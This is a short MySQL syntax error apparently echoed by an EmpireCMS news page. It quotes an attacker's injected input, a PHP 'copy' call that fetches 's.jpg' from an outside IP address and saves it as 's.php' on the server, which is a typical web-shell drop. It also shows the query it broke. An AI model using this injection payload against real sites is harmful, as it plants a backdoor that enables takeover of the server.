You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '';copy('http://202.165.123.44:6688/s.jpg','..//s.php');//ecms_news where id='197' at line 1<br>select id,title,newspath,filename,classid,groupid,plnum,infopfen,infopfennum from ***_ecms_news where id='197' and classid='3'